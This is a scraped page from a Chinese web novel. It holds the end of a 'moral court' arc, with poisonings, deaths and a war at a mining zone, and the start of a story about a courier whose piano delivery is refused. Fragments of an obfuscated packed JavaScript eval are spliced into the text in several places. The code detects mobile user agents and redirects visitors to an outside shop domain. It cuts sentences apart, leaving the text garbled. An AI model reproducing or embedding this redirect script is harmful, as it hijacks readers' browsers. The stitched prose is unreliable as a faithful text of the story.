l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296754|198569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如何?”小象问道,“我们只执行任务,你这不是已经知道了吗?” “…你…”小六气急。 小三冷哼一声,道,“现在,停止所有相关研究,后面我会让小五来销毁器械,你——” “哼。”小六打断了她的话,自豪地笑着说,“可不止我一个。” “你…”小三意识到了事情的严重性,叫来了小五,“先把这人关起来,然后叫来和她一起进行研究工作的人,我一个一个问。还有过渡区…得封锁起来,近期的进出记录给我找来,尤其是靠近过挖掘井的,召回那些人并准备全面体检。” “我明白了。”小五点头,眼珠转向小六,“研发进程如何?” “嗯?”小六一愣,紧紧抿住嘴,什么也没说。 小六被临时关押,针对实验室内人员多次盘问过后,小三和小象得知,这里的每个研发人员多多少少都经手过这件事,不过是知情程度不同而已。 就在二人头疼该怎么处理这件事时,更令人头疼的事情来了,守卫告知小六突然死在了临时关押她的帐篷里。她被人为灌入大量类石油物质,过于浓稠深沉的油从她的口中爬出,布满她凌乱的卷发与白大褂,她的脸过早地青紫了起来,不知道是被呛死的还是被毒死的。 说来也巧,实验室里的一些人在盘问过程中透露,用于存放那些曾收缴自原工程队采集品的仓库一直有样品缺失事件发生,先前她们都以为是小六将其取走用于净化设备测试,所以并没有声张。或许事实确实如此,那么杀死小六的或许就只是普普通通的无害石油了,但当小三询问是否有人能协助处理尸体时,没有人愿意站出来,最后这个工作还是落在了小五头上。 那一段监控记录被删除,守卫也支支吾吾地说不出个所以然来。 “…现在那些研究人员肯定得怀疑是我们干的,不给个说法的话联合国那边也…”小三无奈捂住头,“都这个时候了,到底是谁…难不成这个时候还能有外人混进来?该死的。” “还有。”小五处理完尸体回来道,“尸体中的油状物含量远远超出了已记录样本量,污染程度暂且不明,但显然那材料已经被过渡区外的某些人取得了。你们必须尽快确认相关情况。” 小三一愣,很快明白了过来,吩咐道,“去把小四叫来。” 小四来时行色匆匆,看见小三时还有空打招呼,她笑着,像是完全不知道发生了什么。 “我直接问了。”小三开口,“是不是你指使小六开发净化那玩意的设备的?” “我从未对她说过那种话,执行者大人。”小四摊手,“您大可将她叫来——” “她死了。”小象说,“就在刚刚,死于危险化学物质,现在由于物质危害性尸检很难做。” “…她死了?”小四皱起眉。 小三凝神,觉得对方不可置信地思考着的样子不像是装出来的,小六的死亡中小四也算是利益受损一方,她又不是瞎了看不清形势,不至于现在还在装。 “死了,不过比起追究凶手,我们优先追查那种有害物质的泄漏与危害。”小象说。 “不,怎么想都该先追查凶手。”小四迅速反对,随即才带上笑容道,“毕竟找出凶手才能让过渡区的大家安心,没错——” “…你可能不知道这件事的严重性。”小三沉声道,“你知道生命法庭的21号三层案件吗?” “…当然。”小四回答,“某民间组织起诉当地实验室研究出生物致死率极高的杂交毒株。实验室泄漏风险极高,且已超越已知防疫能力,法庭宣判终止实验,并收缴相关实验设备与素材。” 随即她停下,又说道,“这只是三层…” “那是因为实验室本就在我们的控制范围内,且研究处于初期只有个数据,而且对方完全配合。”小三说,“你猜如果实验室非认证,实验已有进展且结果投入使用,并且拒绝配合执行,在这样的情况下案件会是几层的?” “如果有人起诉,那至少是二层。”小五回答,“视传播性和可控制性,极端情况下可能会被视为一层,届时会越过审理阶段直接交由审判长处理。” “…我当然明白事情的严重性。”小四沉默了一会后再次开口,“但我国局势各位也看到了,临时过渡区,各位总有离开的一天,资源永远在那里,到时候又有谁来保证我们的安全呢?我想做的不过是尽可能为这里的人多填一层保障而已。” “保障,用采集未验证危险程度资源的方式?”小象疑问,“你根本就不是这里的人,你想要的到底是这里的人的安全还是资源?” 说完,她盯着小四的眼睛问道,“当初那个集团负责人,是不是你杀的?” 小四没有回答。 “无论如何,告诉我现在那种资源的使用和采集情况。”小三说,“绝不可隐瞒,你明白的吧?” 35. 道德法庭与这个世界-下-3 经小四说明,这些东西原是由小六管理的,现在她死了,几人只能冲着“危害程度”下手,没过多久小象接到取送相关防护装备的任务,小六的尸检总算是可以开始了。 过程和结果都很糟糕,那种放射性物质从小六的胃部攀爬着污染了她全身血管后又浸透了脑,人类细胞在直接接触后爆炸似的马上就死了,皮肤组织也完全无法复原。比当初小六说的严重得多,当然,当时她也没有直接上手摸就是了。 以此尸检报告为由,过渡区正式被封锁,每个人进出都要接受检查和扫描,来视察和送物资的人少了一大半,一时区域内人心惶惶,甚至有人试图逃走,都被小五抓回来了。 她们三个都被取了不好听的绰号,小象稍微有点理解小三了,这种被工作连带责任的感觉确实不好受。 外界,由于支持国和本国持续骚扰过渡区,道德法庭冻结了两国在国土之外的实体资产资金,并锁定了部分卫星,航线都停了,即使如此对方态度依然坚决,令小象费解的是甚至有人因此而开始转向“抗议法庭裁决”。相对的,由本国及许多长期受剥削国家的反对组织也打着“支持法庭裁决”的名号开始主动抗击。 有时小象想休息都得回补给处的沙发,除了那里,没一处是安静的。 就这样又僵持许久,处理过渡区事务的同时,过渡区外又发生了一件不大不小的事,小四死了。 为表示反抗武装人员入侵,她率人对支持国的资源运输舰进行打击,她本不该上前线,但她还是去了,最后被人发现死在了车后座,是和小六相同的死法。 她没能走,小象得知这一消息时也没那么惊讶,因为不止她,有十几个局势相关人士的死讯被小三带回,数量膨胀过份,但都是相似的死相。 链接上承载秘密的硬盘,补给处内,电脑屏幕上陈列着数十取景框定格下的静态人体,以及一两句墓志铭般的死亡介绍。那是小三写的,她推测是同一拨,甚至可能是同一个人作案,正思索着死者身份的共同点试图把人抓出来。 都不好看,小四的遗像在其中也能算是安详的了,小象这样想着,笑不出来,也不想留下什么评价。 “大量新的案例,危险化学物质外流了。”小五处理完尸体,向二人说道,“现在如果有人起诉,那直接就可以被判定为二层案件。” 问题就是没人起诉,现在已经没人在乎那物质到底危险不危险了,新闻上,支持国对运输舰受袭击表示高度重视,将对过渡区所在的危险区域实行正面打击。 “…能不能让书记派人管一下…”小象疲惫地揉了揉眼睛,“说起来,小一的妈妈,那个跑路的官员到现在都没出面吗?” “她就在那艘运输艇上。”小三叹了口气。 好吧,那个人到头来也没能跑掉,小象无奈抬头,却只看到裸露着管道的灰沉天花板。到头来,那些想从这其中得到些什么的人最后都跑不掉了,像是口渴的人一头扎进水里才发现这是沼泽,又像是寻找光源的人冲出黑暗才发现那是迎面而来的火车头。 “总之,我们现在得一边管这一边管那一边查凶手了,好好干!好消息是支持国那边宣言的事不用我们处理,法庭会派人去。”小三自我激励道。 “这算什么好消息。”小象都笑了,又问道,“派谁?别的执行人吗?” “差不多,不过不是来这,是直接和对面派兵的人谈谈,毕竟正面打击就和宣战一样了,违反了国际公约。”小三摆了摆手,“我有经验,只要抗住最开始的一两波对方就会退兵了,先查凶手吧,嚣张的家伙。” 小三死在了那最开始的一两波里。 第一波兵力由支持国在本国的几乎所有战力组成,有些是老面孔,熟门熟路地摸进废墟后就到处逛,随意得很,显然是准备好被小五丢出去了。 但这次,小五杀死了那些人。 “宣战之后,这是合理反抗行为。”小五并不为此产生任何波动。 听到此答案,小象哑然,她有时真的怀疑小五背后的操控者也是个机器人。那些人中的一部分见了小五甚至打招呼了,说“这是最后一次见啦下手轻点”,转眼自己的头就掉了下来。 第一波兵力死了差不多一半,剩下的跑了,尸体都没来得及处理。没死的那些并没有加入第二波中,跨过尸堆与废墟而来的第二波由本地反对派与雇佣兵组成,理由是反抗外来暴力组织,以及需要资源补给应对即将到来的战争。 战争就是有这种能把一切都搞砸的能力。 无关理由哪边更重,小五都没有理由杀这些人,对方似乎也知道这点,不要命了似的往帐篷里冲,也不顾用不用得上,一拉开门就疯狂搜刮一切,并拿着枪逼问挖掘井的位置和设备操作方法,目的相当明确。一开始,来袭者手里就只有些扣下扳机都不一定能吐出子弹的土枪,但当其在帐篷与尸堆中多次进出后,其进攻与防护设备已成功与国际接轨。 那些数量不多且实力早就大不如前的守卫没能守住任何东西,来袭者没杀联合国派来的人,但对法庭执行者抱有明显仇恨情绪,小三知道,但她也没走,她为了拦住冲向挖掘井的人启动了体外信号器,胳膊断了好几次又接上,最后还是在混乱之中被泼了一桶油。 没人点火,但她的生命还是不可挽回地开始燃烧了起来。 不行,她心想,她至少得把真相带出去。 小象没有参与争斗,她收到新任务,此时正在最深处的帐篷里紧急处理要带回法庭的重要货物,那是被密封的各种矿区采集物样本,也包括来袭者所求的那一种。为什么是现在?这样做真的有意义吗?此时,她已经不会再去思考这种问题的答案了。 焦头烂额时,她突然听到有脚步声停在了门外,来者没有敲门,也没有直接拉开,回头,鼻腔黏膜被不明气味刺伤,危机感带着心脏突突直跳,但帐篷外还是安静的,她突然就意识到了什么,踌躇起身,缓慢靠近,伸手—— “是我。”小三隔着门说道,她的声音有些颤抖,咬词不清,但语气还是带着安抚的,“不要开门。” 小象顿住了。 “…已经不可能拦住这些人了,小五会自爆炸毁挖掘井。我把重要的资料留在了硬盘里,就在门外,放进你那破箱子里知道吗?然后马上离开这里,不要再去追究谋杀犯,和我不同,你几乎没有在公众前露面过,那些人不认识你的脸,你能跑走的。”小三的语速很快,但声音越来越小,“我已经将消息告知书记了,你…你如果不想为这里的破事继续待个好几年,就再别来这里,也别看硬盘里的东西。回法庭去,把箱子里的东西全部交给书记,她都知道的。” “…你呢?”小象问道,“你要去哪里?” 小三沉默了许久,然后,她说,“对不起。” 没有了,脚步声离开了,她混进了那更远更庞大的嘈杂之中,小象什么也听不见了。拉开门,很吵,地上有金属反光,那就是小三唯一留下的东西,高密数据集合体,冷硬的实话,被固定在狭小而坚硬的容器之中,没有人问就不会回答任何东西。 远处好像起火了,小象没有看,她如小三所言那样,将所有东西塞进箱子里,带上,她该走了,只等一声无人能忽视的爆炸作为信号。 通讯器震动,她沉默地取出,是小五,这是对方第一次这样联系她。 “…小五。”小象不知道该说什么。 “那-那个人-”小五的声音从未如此机械化过,“那个人——破坏了我的-电源,它对我-的内-脏也有效,我-无法启动——自爆程序。” “你在哪?!”小象惊道,“小三她——你在哪?我过去找你!” “…不,小象。”小五说道,这是她第一次喊这个“代号的代号”,她说,“我无法炸毁挖掘井,那么,在人类欲-望的驱使——下,这里的危-险物质—泄漏就是必——然的,等-这台机体——报废,数据—传回主机,我—就没办法再——” “你在哪?”小象避开汹涌的人群,用箱子挡住飞来的石头,像每个试图从混乱之中寻找同伴的人那样抬高声音问道,“你在哪里?” “…抱-歉,小象。”小五第一次道歉,或许是因为要没电了,她的声调有所起伏,“这-是一次失败的测——试,但是,谢——谢你,现在,快跑——” 她说:“在我回到这里来之前,快跑。” 通话中断,小象只觉得后颈汗毛炸起,她一咬牙,转身往过渡区外跑去,众多人正争先恐后地往外挤,在那之中,一个驻足于人潮的优雅身姿便额外引人注意。 小象顿住脚步,那人是小二,她身上的皮肤已半数透着异常的黑紫色,裸露在外的脸上五官异化扭曲,但空洞的笑容依旧,头发整齐,制服也笔挺如初。 “…好久不见了,小象小姐。”她如初见时那般轻抚住领结,微微欠身,“很抱歉,以这样不堪入目的模样与您见面。” 那一瞬间,小象明白了很多东西,“…是你——” “是的。”小二点头,“让您失去一些朋友,我很抱歉。” 现在小象的内心已经分不出多的情绪去生气了,她只是看向手里的箱子,说道,“我要走了。” “…请稍等片刻。”小二说着,从口袋里取出了一枚公章,递给小象,说道,“那日之后,我常常思考您当时的言语,除去一些悔悟,无能而愚蠢的我在最后也有了自己的想法。小象小姐,我认为道德法庭的存在,执行人的行动,您所做的一切都是有意义的,我认可那份意义,信任道德法庭,也愿意将我所剩无几,毫无价值的生命托付给这一切。我没有资格决定它的去处,恳请您替我留着它吧,执行者大人。” 那枚公章依旧闪闪发光着,好像时间或空间或它自身之外的一切都无法影响它分毫,小象沉默片刻,接过,丢进了箱子里。 她决定再也不透露执行人身份,她宁愿朝自己的心脏开枪。 “感谢您的帮助。”小二再次微微欠身,“很快,这一切都会不再有意义,那么容我失陪,请保重。” 说完,她转身,朝那纷争之中走去。 离开矿区不久后,小象刚来得及喘口气就接受到书记的消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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巨大的轰鸣声传来,那手指并没有发射激光导弹之类的武器,反倒是地面上有些爆炸发生在指尖周围,像是升起的火花,飞旋,绽放。它只是靠近地面,巨大的压力迫使其正下方的一切下沉。手指缓缓地,平静地向下,那之下的一切慌乱地,无可挽回地下陷。 于是,那手指下方的一整块城市大小的区域中,无论是自然还是非自然的一切都不复存在了,它们被压缩进了地里,变为一片斑驳丑陋的空白。 那就是一切的答案了吗?小象看着那只手,在寂静中回想起了不久前自己还纠结过的,关于她自己的问题。自己是不是给执行者部门拖后腿了,完成的任务是否有意义,自己要如何才能作为道德法庭的代表,又要以一个怎样的态度去对待法庭之外的普通人,等等,很多很多的,直到最后都没人能回答她的问题。 她不敢问,也不敢说:我害怕承担这一切带来的责任。 越是完成任务,她越是不敢去深究那任务背后到底代表着什么,也就是,书记为什么总让她送一些看似与法庭毫无关系的货物。通讯器一次又一次响起,她就明白了小三为何会想“提前做好心理准备”,她一定也害怕过,害怕“自己所做的一切到底是为了什么”这个问题的答案。她害怕的不是未知,因为答案一定在道德法庭建立之前就存在了,她害怕的就是那个答案。 只要问书记,她就会回答吧,小象心想,却又觉得这没有意义了。 说到底,执行人唯一的工作就是完成法庭指派的任务,那么,她们无论做了什么,那些任务又导向什么结果,一切责任,罪,因果,债务,十字架,通通归属于法庭的裁决,或者说审判长们。而眼前的这只手也一样,那是法庭的裁决,不需要借口,毫无遮掩,没有可供曲解与误会的空间。 在面对那只手时,她站在人群中,与其它人有何不同?个人的想法,情绪,行为…哪有那么重要呢? 就让眼前的这一幕来成为这一切问题的答案如何,毕竟,如果说这世上还有什么是绝对公平的体现,那也不会比眼前这只手的主人更巨大了吧? 不知是时间到了还是任务完成,那只手从指尖处开始,一点点变得透明了起来,直到那变化蔓延至整只手,大家才明白过来:这遮挡视线的玩意终于要消失了。最后磕磕绊绊的规划线也被蓝色取代,一阵风吹过,云朵飘来,天上那空洞便也消失不见了。 逐渐恢复嘈杂的人群之中,小象低下头看向通讯器,那里有小五最后发给她的消息。 “很遗憾,这台机体的操控人在完成任务不久后就因意外去世了,她让我转告您,她对此早有准备,请勿悼念,保重。” 直到现在,小象依旧不知道怎么回复这条消息,要说“好的”吗?还是要说“很抱歉听到这个消息”呢?难道是要说一句“又来”吗? 随后,她问道,“葬礼在什么时候?” 对方没有回答,再也没有。 时间不知过去了多久,小象将箱子里的东西带回法庭,又带着箱子在全世界跑来跑去送了好多趟货,小三的岗位上新人轮换了几次,她记不清了,最近的那个总笑得开心且乐于助人,还随身带着只白色的猫,说起话来很有意思。 和她道别时,对方说“保重”,小象突然就想起了小一,想起了那个国家,想起那场打到一半被强行摁停的战争。那枚公章并没有被交给书记,她一直带着,但已经没有任何意义了,那个国家的主权早已不再受它国或这一形式控制,从某种意义上来说,确实变得更“公平”了。 那场战争,几乎可以算是法庭引起的吧?这样的想法,在已然过去太久的她的脑袋里回旋,翻转,被一声叹息带出体外,没了踪影。 36. 魔法与信徒-上-1 既然工作是送货,小象也遇到过货物被拒收的情况。 看着几个工作人员合力将即贵又重的货物箱挪至货车舱一角,固定带扎好后又抵上阻动器,小象确认箱内货物不会因车辆行驶而摇晃,这才放下心来回到车外。不怪她这样谨慎,那木箱中存放的是一台由著名大师手工打造的定制三角钢琴,据说订单是五年前下的,不久前才新鲜出炉,并由小象和制作者亲自监督着寄出并从原产地空运至此。无论是发货方,送货方还是收货方都不希望这台钢琴在正式试音之前出现任何瑕疵。 “所以麻烦开车小心点。”小象坐上副驾驶,朝司机解释道,“虽然有减震设置吧,但还是尽可能地开慢一点。” “交给我吧。”司机毫不犹豫地回答,用烟嗓,她戴着咖色墨镜,看着大概三十四五,不年轻或老,神色也中庸地松散着,像这国家街头每一个趁开车门的功夫争分夺秒地抽烟者一样时不时咳嗽两声。刚才搬运工装货时小象就看见她站在垃圾桶边上吐白烟,好在上车前那根烟就燃尽了,烟灰没上车,但车里烟味还是少不了。 待工作人员关好门,司机将手伸出车窗外朝跟车的搬运工摆了摆意示出发时间到,又转头对已经系好安全带的小象说,“请系好安全带,我们准备出发。” “…好的?”小象疑惑,但没有追问。 旋转钥匙,体积远比寻常载具碍事的机动车发动时声音也更吵,像是为了抗衡这一点,司机在挂档前抬手按开了车载收音机的电源,接收到电波,那声音上了些年纪却依旧强调腔调的主持人就迫不及待地开口: “看来我们的新来宾是位刚刚步入社会的年轻人,让我们用掌声欢迎——好吧不浪费时间了这又不是什么电视节目。我亲爱的来宾,就让我们来先互相了解一下吧。” “我开车的习惯,放心,不会打扰到我的工作。”司机又人工加入新音轨,她打灯挂档拉手刹,三秒后起步,同时问道,“我是司机小一,这样说起来我们也算是同行了,请问怎么称呼你?” “是的…就叫我小二吧,我是三四年前毕业的,和工作很多年的比起来的话…说我是刚刚步入社会也可以吧,但是我早就脱离能因为‘学生’身份而受照顾的时间了,除了工作能力以外和正常社会人也没有区别了吧哈哈哈…” “没事,叫我小象就好。”小象回答道,她觉得车里面有点太吵了,不过开车习惯比这糟糕十倍的司机她也见过,只要小一没光脚开车并在车内熏带致幻药的精油她就不会要求换车。 “哦亲爱的…为此失落可是赔本买卖的,我相信很多人都有过这样的一段时间,社会人士可不会亲口告诉你她们刚工作时闹的笑话。” “是,是这样吗?我的一些同事倒是喜欢拿这种事情开玩笑…” “能一笑而过也是成长的证明,希望你也有这么一天吧,那么言归正传,请问你从事的是什么行业呢?” “小象,该怎么称呼您?”小一问道,很快她又补充,“我说身份称呼,先生,女士,博士,医生,之类的?” “这个…”小象犹豫了一下,回答道,“那就,送货员吧。” “那么我们确实是同行了。”小一笑了,“至少在这份工作中。” “额…不是什么好行业,真的得说吗?” “当然!我们不搞行业歧视,无论——” “基本上是诈骗。” “额。” “…这个电台。”小象疑惑,“这到底是个什么的节目?” “哈哈。”小一笑了,“就是普通的本地实时连线问答节目啦,之前都挺无聊的,不过,看来小三这次终于遇到个有趣的来宾了。” 没让听众等待三秒,主持人小三那沉着音调再次委婉响起: “…亲爱的小二,你应该知道我们节目是为了帮助来宾解决生活中遇到的大大小小的问题,以情感支持的方式,如果你需要解决劳务合同问题的话…” “我不需要啊,这节目我听好久了,当然知道我是来干什么的。” “哦,哦,好吧…至少这是匿名的,那么…来说说你遇到的问题吧,是你的工作为你带来的吗?” “嗯…不如说是我自己带来的吧。” “稍等,你的意思是,你,为你自己带来了麻烦,以一个‘诈骗’行业从事者的身份?” “哇…”小象感慨,“这还是白天呢。” “所以我一直觉得这档节目没什么人气,主要原因也在档期。”小一笑道,“深夜的话,很多东西就更好说出口了吧。” “我的意思是,白天的话,小二她现在不应该在上班吗?”小象疑惑。 “差不多吧,我最近工作一直不是很顺利——” “顺利的话,问题不才真的令人头疼了吗…” “…总之,我觉得自己或许不是很适合这份工作吧…” “恕我直言,我不认为有谁该适合这份工作——至少在这里我得这样说。” “主要是我最近不太认同我们公司的核心观点。” “谢天谢地。” “而且,怎么说呢,和我预想的也不太一样吧,两年前我入职的时候可没想过我的工作内容是这样的。” “居然有两年…好吧,至少你发现了,具体是什么样的矛盾呢?” “…我发现,管理宣扬的那些话好像是骗人的,根本就没有——我的意思是,那些,额,创始人小故事,我发现那些故事都是假的,根本就是编出来骗投资人钱的!这不就是在诈骗吗?” “…说实话比我想象中的好多了。亲爱的,或许,可能,其实这个世界上大部分资本家都是这样的呢?不过,说起来你的工作内容是什么?” “其实什么都有做一点…就,和销售差不多吧,不过上头不需要我们自己去开发新的客户群,主要是维护和老客户的关系。” “那么你遇到的问题是什么呢?我想想,或许是,因为觉得公司的理念作假,于是无法正常完成工作了吗?” “诶…差不多吧。” “确实是年轻人的想法。”小一轻描淡写地评价道,“公司的理念和自己有什么关系?完成工作不就足够了。” “…如果她一开始就是被理念吸引才加入公司的,那么为此失望,并且因此影响到工作也正常吧。”小象说。 “是吗。”小一随意道,没再说什么。她缓缓转动方向盘,货车挤入车流,缓慢而沉重,连带着司机都会觉得自己是在拖着什么什么东西前行一样,哪怕仅仅是脚在动,肩膀也沉得要命。 窗外风景的高度也比寻常车辆高一截,小象俯视边上车顶,以及车内伸出的夹烟的手,心中疑惑为什么开车的大多喜欢抽烟。离车越近,烟抽得越多,就好像她们觉得尾气吐出去的那些必须从另一个地方找补回来,不然内外失衡,心里不踏实。 “我之前一直觉得管理说的那些都是真的,所以即使觉得有些事情很奇怪我也没有提出来,只是安慰自己说‘是这样的,没错的,我们是比较特殊的,只要按照规定好的完成工作就一点能达到目标’。但是最近,我凑巧听见一个管理说‘不知道还能拖多久’这样的话,我才知道那些居然是骗人的!” “哦…听上去有些可疑,这部分方便具体说说吗?” “好吧…我想想。大概是这样,我们公司的一个大客户这几年家里出了点问题,就找上我们想解决一些麻烦,但上头一直让我们去安慰她,说来说去,就是不正面解决问题。我,我都觉得有点对不起那个人了…她真的好惨,但是这件事我不能做主…我甚至不敢告诉她这是骗局,我,我怕她接受不了。” “…难道说,你们公司的业务是保险之类的?” “比那糟糕多了——等等,这个我不能再说了。” “当然,亲爱的,我完全理解你的处境。无意间听到公司真相与可怜客户的诉求,现在你进退两难…这就是你所遇到的问题吗?” “…是的,我现在不知道该怎么做才好,一想到那个客户,我就觉得自己遵守的命令都是虚假的,正常的工作都做不下去了…” “那不如考虑趁此机会转行吧年轻人,你才——” “不可能的。”小二的声音斩钉截铁,“以我们公司那惯常做法,我敢提辞职的话,刚出门就会被守卫打——” 车辆稳稳停下,熄火,电台的声音也戛然而止,小象转头看向小一,她一边拧下钥匙一边解安全带,毫不在乎自己打断了什么东西。 “怎么了?”小一注意到小象的眼神,“你喜欢这个?我可以把电台号发给你,不过这是本地电台。” “…没什么。”小象摇了摇头,“我以为你至少会把它听完,毕竟你也说了,这个来宾挺有趣。” 闻言,小一轻轻叹了口气,又微笑道,“不至于打扰到工作,我们到站了,下车请注意安全,记得带好自己的随身物品。” “…多谢提醒。”小象看了看对方,没再说什么。 车辆后方,跟随而来的搬运工也下车走来,小象取出手机联系收货人,顺势抬头看向目的地,一座高楼层公寓挡住视线的中心全部,原本大概是乳白色的外墙因年代感而发旧地黄了起来,几乎每个阳台都封了窗,衣物倒是在窗外飘荡。她有些好奇,无论是哪一间的主人,都不像是会订下货车箱内的那台钢琴的。 而如果是,那对方一定非常期待才对吧,小象听着手机里“稍后再拨”的提示音,疑惑而迷茫。 “怎么了?”小一熄了手上的烟走上前,用毫无波澜的语气关心道,“联系不上客户?” “我再试试。”小象皱起眉继续打电话,多次尝试后对方依旧未接,不知是换了手机号码还是手机被偷了。 在这种情况下还有另一种选择,那就是直接上门询问,毕竟收货地址精确到单元号,敲了门还收不到回应的话那就是收货人的责任了。 “我会在这看着的,你上去吧。”小一点了点头,“加油吧,送货员小象。” “麻烦你了。”小象点了点头。 按照地址,小象乘电梯上行至公寓楼顶层,路过一扇扇透出室内情景电台的门,顺着门牌号来到楼层角落,并看见一位蹲在门边——也就是角落的角落里打电话的人,她看着年轻得难以遮掩,不太合身且因动作而皱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296756|198569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴的黑西装反倒叫她年龄倒算,此时她一边手拿电话,一边神色纠结地抓弄着自己梳得整齐的头发。 “所以我才说我没可能辞职的,我——”话说到这她才意识到有人靠近,愣神后匆忙站起身,与通话者再说了几句后便挂断了电话。 听对方的言辞,小象莫名有种预感,她问道,“请问,你也是来找这家住户的吗?” “是的!”那人扯了扯身上衣服,露出个令人安心的笑容说,“我预约了今天下午两点与小四女士见面,有些业务上的事情,请问您是?” 下午两点,小象看向手机,一点半不到,甚至对方还等了好一会。 “我是送货的。”小象收起手机,“有个大型货物需要搬运上门,但我无论如何都打不通收货人留下的电话号码,她现在在家吗?” “…应该?”那年轻人不确定道,“我,我还没敲门呢,不过您有事的话您先说吧,我这里不急。” “运输耗时还挺长的,不如你先。”小象说。 “不不不我等的了。”年轻人连连摆手,“真的,您先请。” “你先到的,怎么想都该是你先吧。”小象说。 “诶呀这不是还没到时间嘛!”年轻人有些急了,“你先吧,你先!” “你们不是有业务要谈?”小象摊手,“到时候万一出问题了——” “我求你了!”年轻人一咬牙,双手合十道,“拜托你去敲门和她说话吸引她的注意力然后让她忘记还有我这么个人吧!” 走廊里一时安静了下来,年轻人悄悄抬起眼皮,发现对方就这么看着她,心中焦急这时候该怎么办?之前没有任何人教过啊?! 在任何一方做出任何新动作之前,小四家门开了。 “…其实,这里隔音不太好的。”来者委婉道。这位便是小四了,她穿着家居服,头发盘起,年龄看着与那黑西装差不多却沉稳不止一倍,那憔悴的面孔与眼下青黑使她整个人看上去有些郁郁寡欢,她的右手被固定器挂着,脚踩在屋内身体前倾,左手开门的动作看着有些困难。 她看向尴尬得不知手该怎么摆的年轻人,叹了口气说,“不好意思小二,今天突然有别的客人来了,麻烦你先回去吧,那件事我们稍后再说。” 果然是她啊,小象看向面色喜出望外的小二,她这不是完全没考虑过匿名嘛。 “好!”小二迅速回应,又努力压住喜色说,“那,我先走了?” “慢走哦。”小四牵起微笑点了点头。 二人目送小二连蹦带跳地离开,这才再次对上视线。 “不好意思,刚才听见了你们的对话。”小四问道,“我是小四,请问你找我有什么事吗?” “你也听见了,我打电话你没有接。”小象翻出货物单交给小四,“这是你的货物,我们会把东西搬进去,能麻烦你提前看看屋内的摆设位置吗?电梯有防护需求吗?你也可以和我一起下去…” 不知从哪一句开始小四就没再听下去,她看着货物单上的那台钢琴,以及介绍中那一长串定制点,空间里的一切忽然就打搅不了她的时间了。 “…请问你还在听吗?”小象无奈道。 “啊,哦!”小四这才回过神来,她看向小象的身后,收回眼神落到自己被捆住的右手上,最后抬头微笑道,“不好意思之前没接你的电话,这几天老有奇怪的人打电话过来,我就设置了陌生号码屏蔽。” “…没事。”小象摇了摇头,问道,“我们能开始搬运工作了吗?” 沉默片刻,小四开口说道,“…我应该,无法收下这台钢琴了。” “…你的意思是。”小象疑惑道,“你要拒收它?” “是的。”小四点头,用坚定的声音说,“非常抱歉…但我无法收下这台钢琴。” “可以告诉我原因吗?”小象好奇道。 闻言,小四顿在原地片刻,她回头看向被墙体分割几屋,不足五十平米的空间,又回看小象笑道,“现在我的家里放不下这台钢琴啦。” 随后,她的声音轻了下来,又看向自己的手,叹了口气,“而且…你看,我也没办法再弹琴了,这台钢琴不该待在我这儿的。” “即使如此它也是你的财产。”小象指向货运单强调,“货物全额在下订单时就已经付清了,包括运费,现在你拒收就代表放弃关于它的所有权利,你确定要这样做吗?” 闻言,小四只是摇了摇头,坚持道,“我无法收下它,那么它就也不该属于我,它会有远比拍卖所更好的去处,请将它送还到制作者身边吧。” 小象无法理解,但还是点了点头,“我明白了,处理退还手续需要几天,这段时间里如果你改变了想法请随时通知我,就回拨我打给你的那个号码就好。” “多谢,麻烦你们了。”小四歉疚地说道,“辛苦你跑上来一趟,需要我和你下楼去和你的同事们解释一下吗?” “我会解释的。”小象摇了摇头,“那么,我先告辞了。” “再见。”小四招了招手。 小象转身走向电梯,后方门被关上,她看向手机,这才两点不到。 37. 魔法与信徒-上-2 回到公寓楼外,小象远远地就看见货车旁停了辆警用摩托,没亮灯或者鸣笛,但明显是其主人的警察正对着送货几人问话,她看着是三十多岁,体魄强健,面容严肃到掺不进一丝情份,此时正低头用覆盖着机车手套的双手记录着自己问询得来的东西。不等小象靠近,她就突然抬头看向来者,动作之快让她的短发都来不及飘动一下。 “…你好?”小象疑惑道。 警察大步走近,速度快到让小象产生了想后退的念头,她在半米外站定,冷硬地开口,“我是本地市公安局巡警小五,你就是运输负责人?” “是我,小象。”小象叹了口气,虽然不知道发生了什么,但也熟练地掏出了运输单与一系列申报单递出,小五没有道谢,接过后迅速扫视了一遍。 “定制三角钢琴?”她皱眉,本就严肃的神情逐渐带有恐吓性质。 “是的。”小象回答。 “在这个小区?”小五抬头凝视小象。 “是的。”小象回答。 “…打开箱子。”小五用命令的口吻说。 “当然,请出示任何有法律效应的指令函。”小象回答。 “啧。”小五眉头更深,她就这样盯着小象看了一会,又开口,“你不是本地人。” “是的我不是。”小象回答。 “…然后呢?没了?”小五伸出一只手,“你的身份证件,给我看看。” 小象递出自己的护照,问道,“你在怀疑什么?” 小五并没有回答,她盯着护照与签证页反复核对几次,甚至打了电话询问小象的出入境是否合理,最后又要来了小象的物流师工作证,一叠叠东西交出去却一点回信都没有,小象看向在远处抽烟的小一,抬高声音问道,“她是在——” “被警察问询时不许交头接耳。”小五呵斥道,将一沓文件归整好交还给小象,又问,“你还要在这里停留多久?” “顶多一周。”小象收好文件回答,“收货人拒收货物,我需要时间处理退货手续,然后我就离开这里了。” “…拒收?”小五皱眉,“你之前为什么不说?” “现在说了。”小象回答,眼见对方又要开口,她提前问道,“那么还有别的问题吗?没有的话我们得继续工作了。” “…可以了,感谢您的配合。”小五冷声答道,她再次看了眼货车车厢,收起记事本,转身跨上摩托,头也不回地离开了。 “所以她到底是在怀疑什么?”小象问小一。 “巡警,怀疑些奇奇怪怪的东西不是挺正常的?”小一丝毫不在意,问道,“怎么样,要开工了吗?” 